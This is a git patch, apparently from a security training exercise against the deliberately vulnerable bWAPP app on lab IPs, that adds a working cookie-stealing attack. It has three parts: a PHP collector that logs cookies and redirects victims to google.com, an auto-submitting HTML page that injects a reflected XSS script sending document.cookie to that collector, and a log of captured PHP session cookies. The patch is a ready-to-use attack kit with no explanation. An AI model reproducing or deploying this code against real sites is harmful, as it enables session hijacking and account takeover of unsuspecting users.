From 59dc0fc5ac26890c76f82ba23c9c16e5994db3fd Mon Sep 17 00:00:00 2001
From: bhandarisandeep <sandeepbhandari033@gmail.com>
Date: Tue, 22 Jan 2019 22:22:29 +0530
Subject: [PATCH] adding all the necessary

---
 cookiesteal.php           | 10 ++++++++++
 final payload/google.html | 16 ++++++++++++++++
 log.txt                   | 20 ++++++++++++++++++++
 3 files changed, 46 insertions(+)
 create mode 100644 cookiesteal.php
 create mode 100644 final payload/google.html
 create mode 100644 log.txt
diff --git a/cookiesteal.php b/cookiesteal.php
new file mode 100644
index 0000000..8b47a0e
--- /dev/null
+++ b/cookiesteal.php
@@ -0,0 +1,10 @@
+<?php
+
+header ('Location:https://google.com');//;et the victim think as he is visiting the google.com
+$cookies = $_GET["c"];
+$file = fopen('log.txt', 'a');
+fwrite($file, $cookies . "\n\n");
+
+
+
+?>
diff --git a/final payload/google.html b/final payload/google.html
new file mode 100644
index 0000000..8a0eb2c
--- /dev/null
+++ b/final payload/google.html	
@@ -0,0 +1,16 @@
+<html>
+
+<body onload="document.myForm.submit()">
+
+<form method="GET" action="http://192.168.139.3/bWAPP/xss_php_self.php" name="myForm">
+
+<input type=hidden name="firstname"  value="<script>document.location='http://192.168.139.4/synopsys/task2/cookiesteal.php?c='+document.cookie;</script>"/>
+<input type=hidden name="lastname"  value="hello hacker"/>
+<input type=hidden name="form"  value="submit"/>
+
+<!--
+<input type=submit name="form" id="submit" value="see magic here"/>
+-->
+</form>
+</body>
+</html>
\ No newline at end of file
diff --git a/log.txt b/log.txt
new file mode 100644
index 0000000..1a6bad4
--- /dev/null
+++ b/log.txt
@@ -0,0 +1,20 @@
+
+
+PHPSESSID=7qk32ap3j9jnibr6bp8e833vj3; security_level=0
+
+PHPSESSID=7qk32ap3j9jnibr6bp8e833vj3; security_level=0
+
+PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+
+PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+
+PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+
+PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+
+PHPSESSID=bgt0s9f83gi6vviicfp9d13ca1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+
+PHPSESSID=o2ggiln1tl6b6tmpllqe86vth1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+
+PHPSESSID=o2ggiln1tl6b6tmpllqe86vth1; security_level=0; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
+
